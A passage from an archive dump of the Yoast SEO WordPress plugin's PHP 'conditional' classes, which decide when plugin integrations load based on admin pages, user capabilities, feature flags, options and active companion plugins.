		return $this->options->get( 'semrush_integration_active', false );
	}
}
wordpress-seo/src/conditionals/admin-conditional.php000064400000000513147510273100016736 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when in the admin.
 */
class Admin_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return \is_admin();
	}
}
wordpress-seo/src/conditionals/web-stories-conditional.php000064400000000670147510273100020115 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when Web Stories are active.
 */
class Web_Stories_Conditional implements Conditional {

	/**
	 * Returns `true` when the Web Stories plugins is installed and active.
	 *
	 * @return bool `true` when the Web Stories plugins is installed and active.
	 */
	public function is_met() {
		return \function_exists( '\Google\Web_Stories\get_plugin_instance' );
	}
}
wordpress-seo/src/conditionals/settings-conditional.php000064400000001740147510273100017511 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Class Settings_Conditional.
 */
class Settings_Conditional implements Conditional {

	/**
	 * Holds User_Can_Manage_Wpseo_Options_Conditional.
	 *
	 * @var User_Can_Manage_Wpseo_Options_Conditional
	 */
	protected $user_can_manage_wpseo_options_conditional;

	/**
	 * Constructs Settings_Conditional.
	 *
	 * @param User_Can_Manage_Wpseo_Options_Conditional $user_can_manage_wpseo_options_conditional The User_Can_Manage_Wpseo_Options_Conditional.
	 */
	public function __construct(
		User_Can_Manage_Wpseo_Options_Conditional $user_can_manage_wpseo_options_conditional
	) {
		$this->user_can_manage_wpseo_options_conditional = $user_can_manage_wpseo_options_conditional;
	}

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		if ( ! $this->user_can_manage_wpseo_options_conditional->is_met() ) {
			return false;
		}

		return true;
	}
}
wordpress-seo/src/conditionals/headless-rest-endpoints-enabled-conditional.php000064400000001457147510273100024012 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the headless rest endpoints are enabled.
 */
class Headless_Rest_Endpoints_Enabled_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Headless_Rest_Endpoints_Enabled_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns `true` whether the headless REST endpoints have been enabled.
	 *
	 * @return bool `true` when the headless REST endpoints have been enabled.
	 */
	public function is_met() {
		return $this->options->get( 'enable_headless_rest_endpoints' );
	}
}
wordpress-seo/src/conditionals/get-request-conditional.php000064400000000722147510273100020115 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when the current request uses the GET method.
 */
class Get_Request_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'GET' ) {
			return true;
		}

		return false;
	}
}
wordpress-seo/src/conditionals/wp-cron-enabled-conditional.php000064400000000537147510273100020631 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Class that checks if WP_CRON is enabled.
 */
class WP_CRON_Enabled_Conditional implements Conditional {

	/**
	 * Checks if WP_CRON is enabled.
	 *
	 * @return bool True when WP_CRON is enabled.
	 */
	public function is_met() {
		return ! ( \defined( 'DISABLE_WP_CRON' ) && \DISABLE_WP_CRON );
	}
}
wordpress-seo/src/conditionals/migrations-conditional.php000064400000001457147510273100020032 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Config\Migration_Status;

/**
 * Class for integrations that depend on having all migrations run.
 */
class Migrations_Conditional implements Conditional {

	/**
	 * The migration status.
	 *
	 * @var Migration_Status
	 */
	protected $migration_status;

	/**
	 * Migrations_Conditional constructor.
	 *
	 * @param Migration_Status $migration_status The migration status object.
	 */
	public function __construct( Migration_Status $migration_status ) {
		$this->migration_status = $migration_status;
	}

	/**
	 * Returns `true` when all database migrations have been run.
	 *
	 * @return bool `true` when all database migrations have been run.
	 */
	public function is_met() {
		return $this->migration_status->is_version( 'free', \WPSEO_VERSION );
	}
}
wordpress-seo/src/conditionals/no-tool-selected-conditional.php000064400000000775147510273100021035 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when current page is not a specific tool's page.
 */
class No_Tool_Selected_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We just check whether a URL parameter does not exist.
		return ! isset( $_GET['tool'] );
	}
}
wordpress-seo/src/conditionals/not-admin-ajax-conditional.php000064400000000556147510273100020464 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when not in a admin-ajax request.
 */
class Not_Admin_Ajax_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return ( ! \wp_doing_ajax() );
	}
}
wordpress-seo/src/conditionals/robots-txt-conditional.php000064400000003312147510273100017773 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when on the front end or Yoast file editor page.
 */
class Robots_Txt_Conditional implements Conditional {

	/**
	 * Holds the Front_End_Conditional instance.
	 *
	 * @var Front_End_Conditional
	 */
	protected $front_end_conditional;

	/**
	 * Constructs the class.
	 *
	 * @param Front_End_Conditional $front_end_conditional The front end conditional.
	 */
	public function __construct( Front_End_Conditional $front_end_conditional ) {
		$this->front_end_conditional = $front_end_conditional;
	}

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return $this->front_end_conditional->is_met() || $this->is_file_editor_page();
	}

	/**
	 * Returns whether the current page is the file editor page.
	 *
	 * This checks for two locations:
	 * - Multisite network admin file editor page
	 * - Single site file editor page (under tools)
	 *
	 * @return bool
	 */
	protected function is_file_editor_page() {
		global $pagenow;

		if ( $pagenow !== 'admin.php' ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
		if ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_files' && \is_multisite() && \is_network_admin() ) {
			return true;
		}

		// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
		if ( ! ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_tools' ) ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
		if ( isset( $_GET['tool'] ) && $_GET['tool'] === 'file-editor' ) {
			return true;
		}

		return false;
	}
}
wordpress-seo/src/conditionals/wincher-automatically-track-conditional.php000064400000001367147510273100023265 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the Wincher automatic tracking is enabled.
 */
class Wincher_Automatically_Track_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Wincher_Automatically_Track_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns whether this conditional is met.
	 *
	 * @return bool Whether the conditional is met.
	 */
	public function is_met() {
		return $this->options->get( 'wincher_automatically_add_keyphrases' );
	}
}
wordpress-seo/src/conditionals/woocommerce-conditional.php000064400000000634147510273100020171 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when WooCommerce is active.
 */
class WooCommerce_Conditional implements Conditional {

	/**
	 * Returns `true` when the WooCommerce plugin is installed and activated.
	 *
	 * @return bool `true` when the WooCommerce plugin is installed and activated.
	 */
	public function is_met() {
		return \class_exists( 'WooCommerce' );
	}
}
wordpress-seo/src/conditionals/premium-active-conditional.php000064400000000546147510273100020603 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Class Premium_Active_Conditional.
 */
class Premium_Active_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return \YoastSEO()->helpers->product->is_premium();
	}
}
wordpress-seo/src/conditionals/yoast-tools-page-conditional.php000064400000001176147510273100021063 0ustar00<?php // phpcs:ignore Yoast.Files.FileName.InvalidClassFileName -- Reason: this explicitly concerns the Yoast tools page.

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when current page is the tools page.
 */
class Yoast_Tools_Page_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		if ( $pagenow !== 'admin.php' ) {
			return false;
		}

		if ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_tools' ) {
			return true;
		}

		return false;
	}
}
wordpress-seo/src/conditionals/non-multisite-conditional.php000064400000000564147510273100020463 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when we aren't in a multisite setup.
 */
class Non_Multisite_Conditional implements Conditional {

	/**
	 * Returns `true` when we aren't in a multisite setup.
	 *
	 * @return bool `true` when we aren't in a multisite setup.
	 */
	public function is_met() {
		return ! \is_multisite();
	}
}
wordpress-seo/src/conditionals/text-formality-conditional.php000064400000000661147510273100020642 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Checks if the YOAST_SEO_TEXT_FORMALITY constant is set.
 */
class Text_Formality_Conditional extends Feature_Flag_Conditional {

	/**
	 * Returns the name of the feature flag.
	 * 'YOAST_SEO_' is automatically prepended to it and it will be uppercased.
	 *
	 * @return string the name of the feature flag.
	 */
	public function get_feature_flag() {
		return 'TEXT_FORMALITY';
	}
}
wordpress-seo/src/conditionals/primary-category-conditional.php000064400000003254147510273100021151 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Current_Page_Helper;

/**
 * Conditional that is only met when in frontend or page is a post overview or post add/edit form.
 */
class Primary_Category_Conditional implements Conditional {

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page;

	/**
	 * Primary_Category_Conditional constructor.
	 *
	 * @param Current_Page_Helper $current_page The current page helper.
	 */
	public function __construct( Current_Page_Helper $current_page ) {
		$this->current_page = $current_page;
	}

	/**
	 * Returns `true` when on the frontend,
	 * or when on the post overview, post edit or new post admin page,
	 * or when on additional admin pages, allowed by filter.
	 *
	 * @return bool `true` when on the frontend, or when on the post overview,
	 *          post edit, new post admin page or additional admin pages, allowed by filter.
	 */
	public function is_met() {

		if ( ! \is_admin() ) {
			return true;
		}

		$current_page = $this->current_page->get_current_admin_page();
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
		if ( $current_page === 'admin-ajax.php' && isset( $_POST['action'] ) && $_POST['action'] === 'wp-link-ajax' ) {
			return true;
		}

		/**
		 * Filter: Adds the possibility to use primary category at additional admin pages.
		 *
		 * @param array $admin_pages List of additional admin pages.
		 */
		$additional_pages = \apply_filters( 'wpseo_primary_category_admin_pages', [] );
		return \in_array( $current_page, \array_merge( [ 'edit.php', 'post.php', 'post-new.php' ], $additional_pages ), true );
	}
}
wordpress-seo/src/conditionals/wincher-conditional.php000064400000000240147510273100017302 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional for the Wincher integration.
 */
class Wincher_Conditional extends Non_Multisite_Conditional {}
wordpress-seo/src/conditionals/import-tool-selected-conditional.php000064400000001050147510273100021716 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when current page is not a specific tool's page.
 */
class Import_Tool_Selected_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We just check whether a URL parameter does not exist.
		return ( isset( $_GET['tool'] ) && $_GET['tool'] === 'import-export' );
	}
}
wordpress-seo/src/conditionals/wincher-token-conditional.php000064400000001250147510273100020422 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Config\Wincher_Client;

/**
 * Conditional that is only met when the Wincher token is set.
 */
class Wincher_Token_Conditional implements Conditional {

	/**
	 * The Wincher client.
	 *
	 * @var Wincher_Client
	 */
	private $client;

	/**
	 * Wincher_Token_Conditional constructor.
	 *
	 * @param Wincher_Client $client The Wincher client.
	 */
	public function __construct( Wincher_Client $client ) {
		$this->client = $client;
	}

	/**
	 * Returns whether this conditional is met.
	 *
	 * @return bool Whether the conditional is met.
	 */
	public function is_met() {
		return $this->client->has_valid_tokens();
	}
}
wordpress-seo/src/conditionals/user-can-publish-posts-and-pages-conditional.php000064400000001036147510273100024033 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when the current user has the `wpseo_manage_options` capability.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class User_Can_Publish_Posts_And_Pages_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return \current_user_can( 'publish_posts' ) && \current_user_can( 'publish_pages' );
	}
}
wordpress-seo/src/conditionals/front-end-conditional.php000064400000000512147510273100017541 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when NOT in the admin.
 */
class Front_End_Conditional implements Conditional {

	/**
	 * Returns `true` when NOT on an admin page.
	 *
	 * @return bool `true` when NOT on an admin page.
	 */
	public function is_met() {
		return ! \is_admin();
	}
}
wordpress-seo/src/conditionals/should-index-links-conditional.php000064400000002026147510273100021370 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Should_Index_Links_Conditional class.
 */
class Should_Index_Links_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Should_Index_Links_Conditional constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns `true` when the links on this website should be indexed.
	 *
	 * @return bool `true` when the links on this website should be indexed.
	 */
	public function is_met() {
		$should_index_links = $this->options_helper->get( 'enable_text_link_counter' );

		/**
		 * Filter: 'wpseo_should_index_links' - Allows disabling of Yoast's links indexation.
		 *
		 * @param bool $enable To disable the indexation, return false.
		 */
		return \apply_filters( 'wpseo_should_index_links', $should_index_links );
	}
}
wordpress-seo/src/conditionals/user-can-manage-wpseo-options-conditional.php000064400000000772147510273100023444 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when the current user has the `wpseo_manage_options` capability.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class User_Can_Manage_Wpseo_Options_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return \current_user_can( 'wpseo_manage_options' );
	}
}
wordpress-seo/src/conditionals/development-conditional.php000064400000000601147510273100020166 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use WPSEO_Utils;

/**
 * Conditional that is only met when in development mode.
 */
class Development_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return WPSEO_Utils::is_development_mode();
	}
}
wordpress-seo/src/conditionals/no-conditionals-trait.php000064400000000575147510273100017576 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Trait for integrations that do not have any conditionals.
 */
trait No_Conditionals {

	/**
	 * Returns an empty array, meaning no conditionals are required to load whatever uses this trait.
	 *
	 * @return array The conditionals that must be met to load this.
	 */
	public static function get_conditionals() {
		return [];
	}
}
wordpress-seo/src/conditionals/updated-importer-framework-conditional.php000064400000000637147510273100023135 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Feature flag conditional for the updated importer framework.
 */
class Updated_Importer_Framework_Conditional extends Feature_Flag_Conditional {

	/**
	 * Returns the name of the updated importer framework feature flag.
	 *
	 * @return string The name of the feature flag.
	 */
	protected function get_feature_flag() {
		return 'UPDATED_IMPORTER_FRAMEWORK';
	}
}
wordpress-seo/src/conditionals/user-edit-conditional.php000064400000000751147510273100017553 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when current page is the Edit User page or the User's profile page.
 */
class User_Edit_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		if ( $pagenow !== 'profile.php' && $pagenow !== 'user-edit.php' ) {
			return false;
		}

		return true;
	}
}
wordpress-seo/src/conditionals/premium-inactive-conditional.php000064400000000611147510273100021123 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Abstract class for creating conditionals based on feature flags.
 */
class Premium_Inactive_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return ! \YoastSEO()->helpers->product->is_premium();
	}
}
wordpress-seo/src/conditionals/admin/post-conditional.php000064400000001340147510273100017722 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Admin;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when on a post edit or new post page.
 */
class Post_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		// Current page is the creation of a new post (type, i.e. post, page, custom post or attachment).
		if ( $pagenow === 'post-new.php' ) {
			return true;
		}

		// Current page is the edit page of an existing post (type, i.e. post, page, custom post or attachment).
		if ( $pagenow === 'post.php' ) {
			return true;
		}

		return false;
	}
}
wordpress-seo/src/conditionals/admin/licenses-page-conditional.php000064400000001212147510273100021452 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Admin;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when current page is the tools page.
 */
class Licenses_Page_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		if ( $pagenow !== 'admin.php' ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
		if ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_licenses' ) {
			return true;
		}

		return false;
	}
}
wordpress-seo/src/conditionals/admin/estimated-reading-time-conditional.php000064400000003710147510273100023262 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Admin;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only when we want the Estimated Reading Time.
 */
class Estimated_Reading_Time_Conditional implements Conditional {

	/**
	 * The Post Conditional.
	 *
	 * @var Post_Conditional
	 */
	protected $post_conditional;

	/**
	 * Constructs the Estimated Reading Time Conditional.
	 *
	 * @param Post_Conditional $post_conditional The post conditional.
	 */
	public function __construct( Post_Conditional $post_conditional ) {
		$this->post_conditional = $post_conditional;
	}

	/**
	 * Returns whether this conditional is met.
	 *
	 * @return bool Whether the conditional is met.
	 */
	public function is_met() {
		// phpcs:disable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing -- Reason: Nonce verification should not be done in a conditional but rather in the classes using the conditional.
		// Check if we are in our Elementor ajax request (for saving).
		if ( \wp_doing_ajax() && isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only strictly comparing the variable.
			$post_action = \wp_unslash( $_POST['action'] );
			if ( $post_action === 'wpseo_elementor_save' ) {
				return true;
			}
		}

		if ( ! $this->post_conditional->is_met() ) {
			return false;
		}

		// We don't support Estimated Reading Time on the attachment post type.
		if ( isset( $_GET['post'] ) && \is_string( $_GET['post'] ) ) {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting to an integer.
			$post_id = (int) \wp_unslash( $_GET['post'] );
			if ( $post_id !== 0 && \get_post_type( $post_id ) === 'attachment' ) {
				return false;
			}
		}

		return true;
		// phpcs:enable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing
	}
}
wordpress-seo/src/conditionals/admin/posts-overview-or-ajax-conditional.php000064400000000746147510273100023321 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Admin;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when on a post overview page or during an ajax request.
 */
class Posts_Overview_Or_Ajax_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;
		return $pagenow === 'edit.php' || \wp_doing_ajax();
	}
}
wordpress-seo/src/conditionals/admin/doing-post-quick-edit-save-conditional.php000064400000001771147510273100024021 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Admin;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Checks if the post is saved by inline-save. This is the case when doing quick edit.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Base class can't be written shorter without abbreviating.
 */
class Doing_Post_Quick_Edit_Save_Conditional implements Conditional {

	/**
	 * Checks if the current request is ajax and the action is inline-save.
	 *
	 * @return bool True when the quick edit action is executed.
	 */
	public function is_met() {
		if ( ! \wp_doing_ajax() ) {
			return false;
		}

		// Do the same nonce check as is done in wp_ajax_inline_save because we hook into that request.
		if ( ! \check_ajax_referer( 'inlineeditnonce', '_inline_edit', false ) ) {
			return false;
		}

		if ( ! isset( $_POST['action'] ) ) {
			return false;
		}

		$sanitized_action = \sanitize_text_field( \wp_unslash( $_POST['action'] ) );

		return ( $sanitized_action === 'inline-save' );
	}
}
wordpress-seo/src/conditionals/admin/non-network-admin-conditional.php000064400000000642147510273100022310 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Admin;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when not on a network admin page.
 */
class Non_Network_Admin_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return ! \is_network_admin();
	}
}
wordpress-seo/src/conditionals/admin/yoast-admin-conditional.php000064400000002034147510273100021163 0ustar00<?php // phpcs:ignore Yoast.Files.FileName.InvalidClassFileName -- Reason: this explicitly concerns the Yoast admin.

namespace Yoast\WP\SEO\Conditionals\Admin;

use Yoast\WP\SEO\Conditionals\Conditional;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;

/**
 * Conditional that is only met when on a Yoast SEO admin page.
 */
class Yoast_Admin_Conditional implements Conditional {

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * Constructs the conditional.
	 *
	 * @param Current_Page_Helper $current_page_helper The current page helper.
	 */
	public function __construct( Current_Page_Helper $current_page_helper ) {
		$this->current_page_helper = $current_page_helper;
	}

	/**
	 * Returns `true` when on the admin dashboard, update or Yoast SEO pages.
	 *
	 * @return bool `true` when on the admin dashboard, update or Yoast SEO pages.
	 */
	public function is_met() {
		if ( ! \is_admin() ) {
			return false;
		}

		return $this->current_page_helper->is_yoast_seo_page();
	}
}
wordpress-seo/src/conditionals/traits/admin-conditional-trait.php000064400000000733147510273100021371 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Traits;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;

/**
 * Trait for all integration that rely on the Admin-conditional
 */
trait Admin_Conditional_Trait {

	/**
	 * Returns an empty array, meaning no conditionals are required to load whatever uses this trait.
	 *
	 * @return array The conditionals that must be met to load this.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}
}
wordpress-seo/src/conditionals/conditional-interface.php000064400000000452147510273100017610 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional interface, used to prevent integrations from loading.
 */
interface Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met();
}
wordpress-seo/src/conditionals/jetpack-conditional.php000064400000000637147510273100017276 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when Jetpack exists.
 */
class Jetpack_Conditional implements Conditional {

	/**
	 * Returns `true` when the Jetpack plugin exists on this
	 * WordPress installation.
	 *
	 * @return bool `true` when the Jetpack plugin exists on this WordPress installation.
	 */
	public function is_met() {
		return \class_exists( 'Jetpack' );
	}
}
wordpress-seo/src/conditionals/new-settings-ui-conditional.php000064400000000543147510273100020713 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Feature flag conditional for the new settings UI.
 */
class New_Settings_Ui_Conditional extends Feature_Flag_Conditional {

	/**
	 * Returns the name of the feature flag.
	 *
	 * @return string The name of the feature flag.
	 */
	protected function get_feature_flag() {
		return 'NEW_SETTINGS_UI';
	}
}
wordpress-seo/src/conditionals/attachment-redirections-enabled-conditional.php000064400000001605147510273100024061 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the 'Redirect attachment URLs to the attachment itself' setting is enabled.
 */
class Attachment_Redirections_Enabled_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Attachment_Redirections_Enabled_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns whether the 'Redirect attachment URLs to the attachment itself' setting has been enabled.
	 *
	 * @return bool `true` when the 'Redirect attachment URLs to the attachment itself' setting has been enabled.
	 */
	public function is_met() {
		return $this->options->get( 'disable-attachment' );
	}
}
wordpress-seo/src/conditionals/xmlrpc-conditional.php000064400000000667147510273100017165 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is met when the current request is an XML-RPC request.
 */
class XMLRPC_Conditional implements Conditional {

	/**
	 * Returns whether the current request is an XML-RPC request.
	 *
	 * @return bool `true` when the current request is an XML-RPC request, `false` if not.
	 */
	public function is_met() {
		return ( \defined( 'XMLRPC_REQUEST' ) && \XMLRPC_REQUEST );
	}
}
wordpress-seo/src/conditionals/yoast-admin-and-dashboard-conditional.php000064400000003170147510273100022562 0ustar00<?php // phpcs:ignore Yoast.Files.FileName.InvalidClassFileName -- Reason: this explicitly concerns the Yoast admin and dashboard.

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when in the admin dashboard, update or Yoast SEO pages.
 */
class Yoast_Admin_And_Dashboard_Conditional implements Conditional {

	/**
	 * Returns `true` when on the admin dashboard, update or Yoast SEO pages.
	 *
	 * @return bool `true` when on the admin dashboard, update or Yoast SEO pages.
	 */
	public function is_met() {
		global $pagenow;

		// Bail out early if we're not on the front-end.
		if ( ! \is_admin() ) {
			return false;
		}

		// Do not output on plugin / theme upgrade pages or when WordPress is upgrading.
		if ( ( \defined( 'IFRAME_REQUEST' ) && \IFRAME_REQUEST ) || $this->on_upgrade_page() || \wp_installing() ) {
			return false;
		}

		if ( $pagenow === 'admin.php' && isset( $_GET['page'] ) && \strpos( $_GET['page'], 'wpseo' ) === 0 ) {
			return true;
		}

		$target_pages = [
			'index.php',
			'plugins.php',
			'update-core.php',
			'options-permalink.php',
		];

		return \in_array( $pagenow, $target_pages, true );
	}

	/**
	 * Checks if we are on a theme or plugin upgrade page.
	 *
	 * @return bool Whether we are on a theme or plugin upgrade page.
	 */
	private function on_upgrade_page() {
		/*
		 * IFRAME_REQUEST is not defined on these pages,
		 * though these action pages do show when upgrading themes or plugins.
		 */
		$actions = [ 'do-theme-upgrade', 'do-plugin-upgrade', 'do-core-upgrade', 'do-core-reinstall' ];
		return isset( $_GET['action'] ) && \in_array( $_GET['action'], $actions, true );
	}
}
wordpress-seo/src/conditionals/wp-robots-conditional.php000064400000000525147510273100017605 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Class that checks if wp_robots exists.
 */
class WP_Robots_Conditional implements Conditional {

	/**
	 * Checks if the wp_robots function exists.
	 *
	 * @return bool True when the wp_robots function exists.
	 */
	public function is_met() {
		return \function_exists( 'wp_robots' );
	}
}
wordpress-seo/src/conditionals/user-profile-conditional.php000064400000001041147510273100020257 0ustar00<?php // phpcs:ignore Yoast.Files.FileName.InvalidClassFileName -- Reason: this explicitly concerns the Yoast tools page.

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when current page is the tools page.
 */
class User_Profile_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		if ( $pagenow !== 'profile.php' ) {
			return false;
		}

		return true;
	}
}
wordpress-seo/src/conditionals/user-can-edit-users-conditional.php000064400000000734147510273100021452 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when the current user has the `edit_users` capability.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
